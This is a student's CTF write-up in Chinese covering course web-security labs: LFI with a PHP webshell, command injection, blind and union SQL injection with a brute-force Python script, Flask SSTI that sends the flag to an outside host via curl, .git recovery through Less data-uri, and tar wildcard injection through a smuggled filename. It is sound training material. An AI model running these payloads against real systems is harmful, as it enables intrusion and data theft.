---
# System prepended metadata

title: CS2022 Web writeup
tags: [CTF]

---

# CS2022 Web writeup

## hackmd url
https://hackmd.io/@Chtsai873/SJ5nHInOs

* LAB
    * [Hello from Windows 98](#Hello-from-Windows-98)
    * [Whois Tool](#Whois-Tool)
    * [Normal Login Panel (Flag 1)](#Normal-Login-Panel-(Flag-1))
    * [Normal Login Panel (Flag 2)](#Normal-Login-Panel-(Flag-2))
* HW
    * [PasteWeb (Flag 1)](#PasteWeb-(Flag-1))
    * [PasteWeb (Flag 2)](#PasteWeb-(Flag-2))
    * [PasteWeb (Flag 2)](#PasteWeb-(Flag-3))


## Hello from Windows 98
* [題目網址](https://windows.ctf.zoolab.org/)

* 解題過程
1. 使用 burp suite 瀏覽器開啟網址，題目首先是有一個輸入框跟送出鍵，點擊 source 可以查看原始碼
    ![](https://i.imgur.com/D4CFStd.png)

    原始碼
    ```php
    <?php
      session_start();
      if(isset($_GET['source'])){
        highlight_file('./'.$_GET['source'].'.php');
        die();
      }
      if(isset($_GET['name']) && $_GET['name']!=''){
        $_SESSION['name'] = $_GET['name'];
        header("Location: /?page=hi.php");
        die();
      }
      if(!isset($_GET['page'])){
        header("Location: /?page=say.php");
        die();
      }
    ?>
    <!DOCTYPE html>
    <html>
    <head>
      <title>Hello from Windows 98</title>
      <meta charset="UTF-8" />
      <link rel="stylesheet" href="https://unpkg.com/98.css" />
    </head>
    <style>
        body{
            background: url('blue.png');
            background-size: cover;
            display: flex;
            align-items: center;
            justify-content: center;
            height: 100vh;
            margin: 0;
        }
    </style>
    </style>
    <body>
      <div class="window" style="margin: 32px; width: 500px">
        <div class="title-bar">
          <div class="title-bar-text">
            Hello World..
          </div>
          <div class="title-bar-controls">
            <button aria-label="Minimize"></button>
            <button aria-label="Maximize"></button>
            <button aria-label="Close"></button>
          </div>
        </div>
        <div class="window-body">
          <?php include($_GET['page']);?>
        </div>
      </div>
    </body>
    </html>
    ```
    原始碼主要可以看到下方有一行 php include:  <?php include($_GET['page']);?> 的 LFI
    其大概就是我們可以進行攻擊的點。

2. 嘗試輸入東西並使用 burp 查看 request 內容，可以看到其 request 帶了一個 session ID，而後跳轉到 page=hi.php
![](https://i.imgur.com/YUugliM.png)
![](https://i.imgur.com/Jw7GuW1.png)

3. 嘗試輸入一句話木馬使其 include
![](https://i.imgur.com/0ZjiUzP.png)

4. 根據 session ID 跳轉頁面後發現一句話木馬有成功執行(跟著助教輸入的，不確定 session ID 格示是否都長這樣？)
![](https://i.imgur.com/GB9Ajhy.png)

5. 於是根據一句話木馬要求的給予變數 c 值`c=system('ls');`，使其執行 system，最後 cat flag.txt 找到FLAG。
![](https://i.imgur.com/vGL57V9.png)
![](https://i.imgur.com/kyB5B93.png)


## Whois Tool
* [題目網址](https://whoistool.ctf.zoolab.org/)

* 解題過程
1. 使用 burp suite 瀏覽器開啟網址，題目首頁可以看到原始碼以及一個輸入框
    ![](https://i.imgur.com/ekw7eiW.png)

2. source code 可以看出其要輸入字元長度小於 15 的 host name，並串上 "whois" 等字串。由於 host 變數位於 "{}" 內部，所以可以直接執行一些操作，例如 `id`
    ![](https://i.imgur.com/aDiwcoC.png)

3. 因此我們也可以透過將前方的 "" 終止後執行新的命令(多一個雙引號 " 為了符合後方指令格示，也可以直接將後方註解掉？)。
    ![](https://i.imgur.com/WdS7Yiq.png)
    找到 flag.txt 後可直接 cat 查看
    ![](https://i.imgur.com/iC33JxT.png)



## Normal Login Panel (Flag 1)
* [題目網址](https://login.ctf.zoolab.org/)

* 解題過程

1. 使用 burt suite 瀏覽器打開網址，其頁面示一個登入視窗，可以輸入 username & password
    ![](https://i.imgur.com/JUwV5fG.png)

2. 嘗試輸入後發現 admin 是合法的 username，而輸入`admin'`則會壞掉，猜測其 API 呼叫指令為 `select username from table where Username={Username}`，可以進行 injection
    ![](https://i.imgur.com/4UEZ7lJ.png)
    ![](https://i.imgur.com/Xk2INNw.png)
    
    ![](https://i.imgur.com/R7itgKv.png)
    ![](https://i.imgur.com/KWrx5SB.png)

3. 使用 `admin' or 1=1` 無法登入。
    ![](https://i.imgur.com/yssk790.png)

4. 由於此題是會報錯的類型，因此可以開始嘗試使用 `union select` 來爆出某些東西。
    嘗試到 select 4 columns 發現不會爆錯，且第 4 column 會回顯
    ![](https://i.imgur.com/EkpylaR.png)
    嘗試使用 web cheatsheet 來進行 injection，原本還需要測試 sql 是哪一種，但助教很好心的全部演示完了(?
    得知資料庫種類為 sqlite，使用
    `' union SELECT 1, 2, 3, sql FROM sqlite_master where type='table' --`
    來爆表名，得到 users 這個 table
    ![](https://i.imgur.com/iWaqRxw.png)

5. 得知 table_name 及 column_name 後使用
    `' union SELECT 1, 2, 3, username from users limit 0, 1 --`
    可以看到確實有 admin 這個 username
    ![](https://i.imgur.com/eHQ7eo0.png)
    
    最後使用
    `admin' union select 1, 2, 3, password from users where username='admin' --`
    取得 password，也就是 FLAG。
* 執行結果
    ![](https://i.imgur.com/iy9aIoQ.png)


## Normal Login Panel (Flag 2)
* [題目網址](https://login.ctf.zoolab.org/)

* 解題過程 & 思路

1. 有了上一題的 username 以及 password 後即可以登入，登入後會顯示出整段 source code
```py=
from flask import Flask, request, render_template, render_template_string, send_file
from flask_sqlalchemy import SQLAlchemy

db = SQLAlchemy()
app = Flask(__name__)
app.config["SQLALCHEMY_DATABASE_URI"] = "sqlite:///app.db"
db.init_app(app)

with app.app_context():
  db.session.execute("""
    CREATE TABLE IF NOT EXISTS users(
      id Integer PRIMARY KEY,
      username String NOT NULL UNIQUE,
      password String,
      count Integer DEFAULT 0
    );
  """)
  db.session.execute("INSERT OR REPLACE INTO users (username, password) VALUES ('admin', 'FLAG{Un10N_s31eCt/**/F14g_fR0m_s3cr3t}')")
  db.session.commit()

def login(greet):
  if not greet:
    return send_file('app.py', mimetype='text/plain')
  else:
    return render_template_string(f"Hello {greet}")

@app.route('/', methods=["GET", "POST"])
def index():
  if request.method == "GET":
    return render_template('index.html')
  else:
    username = request.form.get('username', '')
    password = request.form.get('password', '')
    error = ''
    user = db.session.execute("SELECT username, password FROM users where username=:username", {"username":username}).first()

    if user and user[1] == password:
      return login(request.form.get('greet', ''))
    elif not user:
      error += "User doesn't exist! "

    # New feature! count login failed event
    db.session.execute("UPDATE users SET count = count + 1 WHERE username=:username", {"username": username})
    db.session.commit()
    count = db.session.execute(f"SELECT * FROM users WHERE username='{username}'").first() or [0, 0, 0, 0]
    error += f'Login faild count: {count[3]}'

    return render_template('index.html', error=error)


if __name__ == "__main__":
  app.run(host="0.0.0.0")
```

2. 整段程式碼內，由於已經登入成功了，大部分都可以不用關注，主要是下列登入成功會呼叫的部分，呼叫了 render_template_string()，並給了 {greet} 這個參數，此處可以看出明顯的 server side template injection(SSTI)
```python=
# 略
def login(greet):
    if not greet:
        return send_file('app.py', mimetype='text/plain')
    else:
        return render_template_string(f"Hello {greet}")
# 略
if user and user[1] == password:
    return login(request.form.get('greet', ''))
# 略
```

3. 將整個 request 送入 repeater 重複查看，助教溫馨小技巧，可右鍵選擇 `Change body encoding` 將 request 格式從 url-encoding 的 www-form 轉換成 multipart form-data 格式，較好進行操作。
    ![](https://i.imgur.com/IqEgAzL.png)

4. 此時可以開始嘗試 dump 出資訊
    `{{[].__class__}}`
    `{{[].__class__.__base__}}`
    `{{[].__class__.__base__.__subclasses__()}}`
    ![](https://i.imgur.com/67hL9yV.png)

5. 將所有訊息複製後丟到 HTML decoder 進行解譯
    ![](https://i.imgur.com/WWLPFac.png)

    使用文字編輯器較好找出我們想查看的 class
    ![](https://i.imgur.com/FnGR9zS.png)

6. 對齊格式後可看出 class index 為 140 (VScode `ctrl+f` 後 `alt+enter` 可全選，每次都忘記這個指令怎麼打)
    ![](https://i.imgur.com/QLJobzr.png)
    
    在逐步往下找到我們所需要的 `system` 指令
    `{{[].__class__.__base__.__subclasses__()[140].__init__.__globals__['system']('id')}}`
    ![](https://i.imgur.com/yOrJc5K.png)

7. 但由於此處無法回顯查看，因此使用 beeceptor 建一個代理來接收我們使用 curl 寄出的資訊回顯(command 記得前後加上 \`\` 進行 substitution，不然會被當字串)
    ![](https://i.imgur.com/nZ9uCHE.png)

    最後指令改為
    ```
    {{[].__class__.__base__.__subclasses__()[140].__init__.__globals__['system']('curl https://chtemp.free.beeceptor.com/ -d "`cat flag.txt`" ')}}
    ```
    即可取得 FLAG
* 執行結果圖
    ![](https://i.imgur.com/a8nBBrO.png)




## PasteWeb (Flag 1)
* [題目網址](https://pasteweb.ctf.zoolab.org)
![](https://i.imgur.com/Q2lF3PV.png)

* 解題過程 & 思路

    1. 使用 burt suite 瀏覽器打開網址，其頁面示一個登入視窗，可以輸入 username & password，輸入錯誤右上角會 Alert 警示窗，大概會有下三張圖的警示(好像還有別的？)，隊友一開始覺得時間函數很可ㄧ隊友一開始覺得時間函數很可疑，但我沒有深究。
    ![](https://i.imgur.com/Mtr70X0.png)
    ![](https://i.imgur.com/ZtaMMiw.png)
    ![](https://i.imgur.com/7FYasGc.png)

    2. 一開始覺得完全無從下手，因為這題並沒有向 LAB 一樣 leak 出錯誤訊息，妥妥的 Blind injection，因此卡了很久。試了簡單的 `' or 1=1--` 也只是單純地跳出右上角的 Error Bad Hacker Alert，剛開始還以為他是使用 filter 將 `or` 給過濾掉，所以一直嘗試使用其他取代的指令想要 bypass，直到與隊友討論才知道他有可能其實是 query 有成功執行的意思(卡了整整兩天)
    3. 發現 Bad Hacker 有可是執行正確的意思後才開始可以嘗試盲注入，首先使用
    `admin'  or length(user) =3 --`
    `admin'  or ascii(SUBSTR((user), 1, 1)) =119 --`
    成功試出了一個 username='web'，但好像沒什麼幫助，因為不知道如何拿到 password...
    
    4. 接下來想要試試看爆破出資料庫的結構，但還不知道資料庫的類型是哪一種，因此嘗試了各種指令，最後確定其是使用 PostgreSQL
    ![](https://i.imgur.com/8uab2np.png)

    6. 知道為何種 sql 後繼續嘗試其他種類的盲注入
    試出了所有的 Table 數量=190
    `admin' or (select count(*) from information_schema.tables)=190--`
    而除去系統 Table 的則有 2 個自定義的 Table
    `admin' or (select count(table_name) from information_schema.tables where table_schema='public')=2--`
    下列兩條 query 找到兩張自定義的 table_name 字串長度 -> 各為 12, 17。接著透過爆破程式得到 table_name
    `admin' or (select count(table_name) from information_schema.tables where table_schema='public' and length(table_name)=12)=1--`
    ![](https://i.imgur.com/RUxsFdR.png)
    `admin' or (select count(table_name) from information_schema.tables where table_schema='public' and length(table_name)=17)=1--`
    ![](https://i.imgur.com/rm9fquZ.png)

    5. 透過 schema 找到所有自定義 Table 的 column 共 4 則 column
    `admin' or (select count(column_name) from information_schema.columns where table_schema='public')=4 --`
    下列式子確定 column_name 的長度
    `admin' or length((select column_name from information_schema.columns where table_schema='public' order by column_name limit 1 offset 0))=4 -- fl4g`
    `admin' or length((select column_name from information_schema.columns where table_schema='public' order by column_name limit 1 offset 1))=12-- user_account`
    `admin' or length((select column_name from information_schema.columns where table_schema='public' order by column_name limit 1 offset 2))=7 -- user_id`
    `admin' or length((select column_name from information_schema.columns where table_schema='public' order by column_name limit 1 offset 3))=13 -- user_password`
    
    6. 最後再爆破 Table`s3cr3t_t4b1e` 內的 Column`fl4g` 拿到答案
    `admin' or length((select fl4g from s3cr3t_t4b1e))=26 --`
    `admin' or ascii(SUBSTR((select fl4g from s3cr3t_t4b1e),1,1))>0 --`

* 爆破程式碼
```python=
import requests
from datetime import timezone
import datetime
from bs4 import BeautifulSoup

url = 'https://pasteweb.ctf.zoolab.org/'
ans = ''

str_len=26

for i in range(1,str_len+1):
    print(str(i)+":", end='')
    # Brute Force
    flag=0
    max=126
    min=33
    while(1):
        if(max-min>10):
            l=int((max+min)/2+0.5)
        elif flag==0: 
            flag=1
            l=min
            continue
        if(flag==1):
            l+=1
        # 爆表名
        # query="admin' or ascii(SUBSTR((select table_name from information_schema.tables where table_schema='public' and length(table_name)="+str(str_len)+"),"+str(i)+",1))="+str(l)+" --"
        
        # 爆 column
        # query="admin' or ascii(SUBSTR((select column_name from information_schema.columns where table_schema='public' order by column_name limit 1 offset 0),1,1))=0 --"
        # query="admin' or ascii(SUBSTR((select column_name from information_schema.columns where table_schema='public' order by column_name limit 1 offset 0),"+str(i)+",1))="+str(l)+" --"
        
        # FLAG
        # query="admin' or ascii(SUBSTR((select fl4g from s3cr3t_t4b1e),1,1))=0 --"
        query="admin' or ascii(SUBSTR((select fl4g from s3cr3t_t4b1e),"+str(i)+",1))="+str(l)+" --"
        
        dt = datetime.datetime.now(timezone.utc)
        utc_time = dt.replace(tzinfo=timezone.utc)
        utc_timestamp = str(utc_time.timestamp())
        
        form_data = {'username': query, 'password': 'admin', 'current_time': utc_timestamp }
        res = requests.post(url, data=form_data)
        
        soup = BeautifulSoup(res.text, features="lxml")
        msg = str(soup.select_one("#message").select('p')[1])[3:-4]
        if msg =='Bad Hacker!':
            ans += chr(l)
            break
        
        if(max-min>10):
            # 爆表名
            # query="admin' or ascii(SUBSTR((select table_name from information_schema.tables where table_schema='public' and length(table_name)="+str(str_len)+"),"+str(i)+",1))>"+str(l)+" --"
            # 爆 column
            # query="admin' or ascii(SUBSTR((select column_name from information_schema.columns where table_schema='public' order by column_name limit 1 offset 0),"+str(i)+",1))>"+str(l)+" --"
            
            # FLAG
            # query="admin' or ascii(SUBSTR((select fl4g from s3cr3t_t4b1e),1,1))=0 --"
            query="admin' or ascii(SUBSTR((select fl4g from s3cr3t_t4b1e),"+str(i)+",1))>"+str(l)+" --"
            
            
            dt = datetime.datetime.now(timezone.utc)
            utc_time = dt.replace(tzinfo=timezone.utc)
            utc_timestamp = str(utc_time.timestamp())
            
            form_data = {'username': query, 'password': 'admin', 'current_time': utc_timestamp }
            res = requests.post(url, data=form_data)
            
            soup = BeautifulSoup(res.text, features="lxml")
            msg = str(soup.select_one("#message").select('p')[1])[3:-4]
            if msg =='Bad Hacker!':
                min=l
            else:
                max=l
        print("/l: "+str(l)+"  /max: "+str(max)+"  /min: "+str(min))

    print(ans)
print(ans)
```
* 爆破執行結果

![](https://i.imgur.com/6JQwcEs.png)



## PasteWeb (Flag 2)
* [題目網址](https://pasteweb.ctf.zoolab.org)
![](https://i.imgur.com/Jc6MZFE.png)
Hint1
![](https://i.imgur.com/1KoWAKZ.png)
Hint2
![](https://i.imgur.com/qMSox8z.png)



* 解題過程 & 思路

1. 解這一題之前需要先能夠進行登入，在解完上一題之後我們已經知道了 pasteweb_accounts 這個 table_name 以及它的 3個 column_name，因此我們可以透過 injection 替自己註冊一組帳號。(其實也可以 leak 別人的來使用?)
    使用下列 injection query，通過助教 hint 得知 password 有先進行加密過，試過發現是採用 md5，因此使用線上 encoder 先進行加密。
    account="TSAICC"
    password="m11115023"
    `'; INSERT INTO pasteweb_accounts (user_id, user_account, user_password) VALUES (1123, 'TSAICC', '3f6d65b0a9f4e27f5e506504fe1e5bf5') --`

2. 登入後會是一個可以輸入 HTML, CSS 後進行瀏覽、分享或下載的小工具。
    ![](https://i.imgur.com/d7QfX3S.png)

3. 助教有說明只要取得 source code，就能取得 FLAG，並給了可以使用 less 的提示。
    less 有提供一個 function `data-uri()` 可以獲取網頁資料。
    ![](https://i.imgur.com/x6ORBdR.png)

4. 隨意給一點 HTML 嘗試使用 data-uri 直接獲取網頁 source code，但沒辦法直接取得，似乎是擋住 "php" 這個 keyword？
    ![](https://i.imgur.com/U1XbdsW.png)
    ![](https://i.imgur.com/T76iISL.png)
    ![](https://i.imgur.com/xOIwVYn.png)

5. 與隊友們經過各種驗證發現沒辦法 bypass。
    ```css=
    @uri: "/view.php";
    .f {
        @f1: replace(e(%("%s", data-uri(@uri))), "application/x-httpd-php", "text/plain");
        @f2: replace(@f1, "php", "00000");
        @f3: replace(@f2, "phP", "00000");
        @f4: replace(@f3, "pHp", "00000");
        @f5: replace(@f4, "Php", "00000");
        @f6: replace(@f5, "pHP", "00000");
        @f7: replace(@f6, "PHp", "00000");
        @f8: replace(@f7, "PhP", "00000");
        @f9: replace(@f8, "PHP", "00000");
        background-image: @f9;
    }
    ```
6. 既然拿不到 php source code，於是討論了一下嘗試看看能不能拿到其他東西，嘗試將網址改成
    `https://pasteweb.ctf.zoolab.org/.git/`
    發現並不是 Not Found，而是 Forbidden，也就是說其實是有 .git 的資料夾存在的。
    ![](https://i.imgur.com/cxdR1Eh.png)

7. 上網搜尋了一下 .git 資料夾內通常會放些甚麼東西，剛好查到的這個網站上的範例題解題思路似乎與本題有點相似，一樣的問題都是直接存取 .git 的話會吃到 Forbidden，因此給出了一個想法是既然無法看到裡面的內容，不如嘗試將其下載下來。
    ![](https://i.imgur.com/f3lEIaP.png)

8. 要嘗試還原網頁的 .git 資料夾，首先 `git init` 出一個初始的 .git
    ![](https://i.imgur.com/lbEP4nv.png)

    修改下列 css code 後查看 view.php 的網頁原始碼
    ```css=
    @test: "../../.git/index";
    .class1 {
    background-image: data-uri(@test);
    }
    ```
    可以看到被 hash 過的資料
    ![](https://i.imgur.com/jIPkGtv.png)

    丟到 base64 decode 後存到相應位置
    ![](https://i.imgur.com/8Y6WtQp.png)

    採用同樣的步驟還原 `.git/HEAD` -> `@test: "../../.git/HEAD";`
    以及 `.git/logs/HEAD` -> `@test: "../../.git/logs/HEAD";`
    ![](https://i.imgur.com/U3POzcu.png)

9. 使用 vi 編輯器開啟 /logs/HEAD 進行查看，可發現有 commit hash 過的資料。
    ![](https://i.imgur.com/MDYd3ho.png)

    一步一步從最後一條 commit 開始還原，使用 `git diff`進行偵錯，查看還缺少哪些檔案
    ![](https://i.imgur.com/Oa9njRE.png)
    ![](https://i.imgur.com/0y9qW28.png)
    經過無數次還原後就可以得到全部的 source code(雖然大概還原4、5次就可以得到這題的答案，但 HW3 似乎需要先取得全部的 soutce code，心好累)，最後 FLAG 位於 index.php 內。


* 執行結果
    ![](https://i.imgur.com/KAcyT7H.png)



## PasteWeb (Flag 3)
* [題目網址](https://pasteweb.ctf.zoolab.org)
![](https://i.imgur.com/7b7XX9f.png)
Hint1
![](https://i.imgur.com/VA7B9jt.png)


* 解題過程

1. 在第二題取得所有 source code 後，可以開始翻翻看有沒有甚麼漏洞可以使用，首先看到 download.php 有一個明顯可以做些手腳的漏洞，download 功能會將所有存在 ./sandbox 內的 css 檔案儲存並使用
    `tar -cvf download.tar *`
    壓縮成 download.tar 給我們，這整段程式碼，先是看到 `shell_exec()`，就讓人覺得有點可疑了，再看到 tar 指令是使用 * 來進行壓縮，沒有做任何保護，直覺就會想到 Wildcard Injection(其實查了很久)，助教上課好像沒講到這個？(偷抱怨)
```php=
// download.php
<?php
  session_start();
  if(!isset($_SESSION['name'])){
    header("Location: /");
    die();
  }

	$sandbox = './sandbox/'.md5($_SESSION['name']).'/';
	if (!file_exists($sandbox)){
		mkdir($sandbox);
	}
	chdir($sandbox);

  header("Content-Disposition: attachment; filename=download.tar");
  shell_exec("tar -cvf download.tar *");
  readfile("download.tar");
  shell_exec("rm download.tar");
  die();
?>
```

2. 接下來看到有趣的地方是 editcss.php 的部分，使用 POST 在丟 request 的時候，帶著的 theme 這個 payload，會被進行過濾後創建成 `theme.css` 這個檔案，或許可以透過更改檔名來執行某些指令？
```php=
//editcss.php
<?php
  session_start();
  if(!isset($_SESSION['name'])){
    header("Location: /");
    die();
  }
  // When you see this line, you probably don't need to read 'lessc.inc.php', the intended sollution of flag 3 have nothing to do with it
  require "lessc.inc.php";
  $less = new lessc;

	$sandbox = './sandbox/'.md5($_SESSION['name']).'/';
	if (!file_exists($sandbox)){
		mkdir($sandbox);
	}
	chdir($sandbox);

  if($_SERVER['REQUEST_METHOD'] == 'POST' && isset($_POST['less'])){
		file_put_contents('input.less', $_POST['less']);
		$theme = isset($_POST['theme'])? str_replace('/', '', $_POST['theme']): 'default';
		$less->compileFile('input.less', $theme.'.css');;
		$_SESSION['message'] = "CSS updated successfully!";
  }
?>
//HTML略
```

3. 最後看到 edithtml.php 的部分，簡單明瞭，可以輸入東西到 index.html 裡

```php=
//edithtml.php
<?php
  session_start();
  if(!isset($_SESSION['name'])){
    header("Location: /");
    die();
  }

	$sandbox = './sandbox/'.md5($_SESSION['name']).'/';
	if (!file_exists($sandbox)){
		mkdir($sandbox);
	}
	chdir($sandbox);

  if($_SERVER['REQUEST_METHOD'] == 'POST' && isset($_POST['html'])){
		file_put_contents('index.html', $_POST['html']);
    if (!file_exists('default.css')){
      file_put_contents('default.css', 'body{background:black;color:white}');
    }
		$_SESSION['message'] = "HTML updated successfully!";
  }
?>
//HTML略
```

4. 到現在解題思路逐漸明確了(並沒有，隊友不通靈根本想不到)，可以透過 
`tar -cvf download.tar *`，改變後方的 * 通配字元讓它無意間的執行指令，例如提示有提到的 readflag。到這邊要先去查詢一下 tar 壓縮指令有甚麼其它的 option 可以利用。
`tar --help` 簡單 survey 一下 options，找到一個有趣的選項，`--checkpoint-action=ACTION` 可以在每一次的 checkpoint 執行我們想執行的 ACTION，而 checkpoint 的值似乎可以自己設定。
![](https://i.imgur.com/KvLcjA3.png)
上網搜尋後有找到類似的指令介紹
![](https://i.imgur.com/8d7TIjJ.png)

5. 原先想如上圖取得的指令同樣設置 `--checkpoint=1`，但使用 burp intruder send 了大概 150 個 payload 出去發現好像還是沒有執行成功，最後決定以量取勝，前前後後送了 150+225 共 375 個 payload 才成功讓它可以執行 ACTION。

    使用 repeater 修改要爆塞的 payload
    ![](https://i.imgur.com/BJkYTOQ.png)
    
    intruder 給變數自動迭代 send request
    ![](https://i.imgur.com/QiHZJDq.png)

    前面嘗試失敗後，後續補的225次爆塞(原本要湊到400，但跑到一半覺得跑太久就停了)
    ![](https://i.imgur.com/xoPk04E.png)

6. 下列為最後 theme 塞的檔名(指令)，只需要 send 一次就可以了
`--checkpoint-action=exec=sh index.html|` 註: 最後方的 "|" 是為了使程式碼不接到 .css 的檔案格式名稱。
    ![](https://i.imgur.com/EPDQKRC.png)
    而 index.html 內的資料則是如前面所述，要執行 readflag 這個檔案，但沒有地方回顯，所以建一個文字檔將其導向。
    ```htmlmixed=
    !/bin/sh
    /readflag > FLAG.txt
    ```
    ![](https://i.imgur.com/GSwLOVb.png)

7. 上述指令全部 run 完後，我們需要點擊兩次 download，第一次為了是要讓 `tar -cvf download.tar *` 指令透過通配字元 * 而執行到我們剛剛給的 theme 檔名(`--checkpoint-action=exec=sh index.html|`)，生成 FLAG.txt；第二次 download 取得我們導向的 FLAG.txt


* 執行結果
![](https://i.imgur.com/zFfgUb6.png)



